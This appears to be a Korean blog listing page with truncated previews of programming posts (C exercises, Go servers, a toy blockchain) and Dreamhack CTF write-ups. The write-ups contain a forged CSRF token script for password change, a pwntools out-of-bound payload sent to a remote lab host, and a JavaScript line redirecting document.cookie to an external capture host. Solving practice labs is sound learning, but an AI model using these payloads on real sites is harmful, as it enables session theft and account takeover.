호그와트 (367) 썸네일형 리스트형 가볍게 천재가 되는 방법 #include int main(void) { int a, b; scanf("%d %d", &a, &b); if (b >= 45) { b = b - 45; printf("%d %d", a, b); } else if (b < 45) { if (a == 0) { a = 23; b = b + 15; printf("%d %d", a, b); } else { a = a - 1; b = b + 15; printf("%d %d", a, b); } } return 0; } 기본 성적 확장하기 #include int main(void) { int point; scanf("%d", &point) ; if (point >=90 && point = 80 && point = 70 && point = 60 && point 드림핵 csrf advanced from hashlib import md5 id = b'admin' ip_addr = b'127.0.0.1' csrf_token = md5(id+ip_addr).hexdigest() print(csrf_token) 이렇게 하면 해당 csrf_token을 얻을 수 있고 이렇게하면 비밀번호까지 변경할 수 있다. admin/1234로 로그인하면 플래그를 얻을 수 있다. go로 서버 뚫는 법 package main import ( "fmt" "log" "net/http" ) const port string = ":4000" func home(rw http.ResponseWriter, r *http.Request) { fmt.Fprint(rw, "hello you're a panda") } func main() { http.HandleFunc("/", home) fmt.Printf("listening on http://localhost%s\n", port) log.Fatal(http.ListenAndServe(port, nil)) } 블록체인은 행복입니다 packageblockchain import( "crypto/sha256" "fmt" "sync" ) typeblockstruct{ data string hash string prevHash string } typeblockchainstruct{ blocks []*block } var b *blockchain var once sync.Once func(b *block)calculateHash(){ hash := sha256.Sum256([]byte(b.data + b.prevHash)) b.hash = fmt.Sprintf("%x", hash) } funcgetLastHash()string{ totalBlocks :=len(GetblockChain().blocks) if totalB.. 드림핵 out of bound from pwn import* context.log_level='debug' r=remote("host2.dreamhack.games",12515) r.sendafter("Admin name: ","\xb0\xa0\x04\x08cat flag") r.sendafter("What do you want?: ","19") r.interactive() 드림핵 csp bypass advanced 초 간단 풀이 replit으로 html, js 서버를 열어준다 static/js/jquery.min.js 로 경로를 만들어준다음 index.html에 이 내용을 추가하여 js를 연동시킨다. js에 location.href = "https://cggprwk.request.dreamhack.games/?memo=" + document.cookie; 이것만 쓴다. alert이나 a onmouseover등은 필요 없다. 그냥 이 내용만 써도 자바스크립트가 충분히 작동한다. 그리고 해당 웹 url을 이렇게 추가한 다음 flag에서 Submit으로 보낸다. vuln에는 해당 쿠키가 없기 때문에 자바스크립트를 주입하여 실행시킬 수는 있지만 해당 플래그 쿠키를 가져올 수는 없다. 관리자만 가지고 있으므로 submit을 통해 repo.. 행복한 은행 관리법 packagemydict import( "errors" ) typeDictionarymap[string]string var( NotFound = errors.New("Not found") errCantUpdate = errors.New("Can't update nonexistsing word") errWordExists = errors.New("That word already exists") ) func(d Dictionary)Search(word string)(string,error){ value, exits := d[word] if exits { return value,nil } return"", NotFound } func(d Dictionary)Add(word, def strin.. 이전 1 ··· 31 32 33 34 35 36 37 ··· 46 다음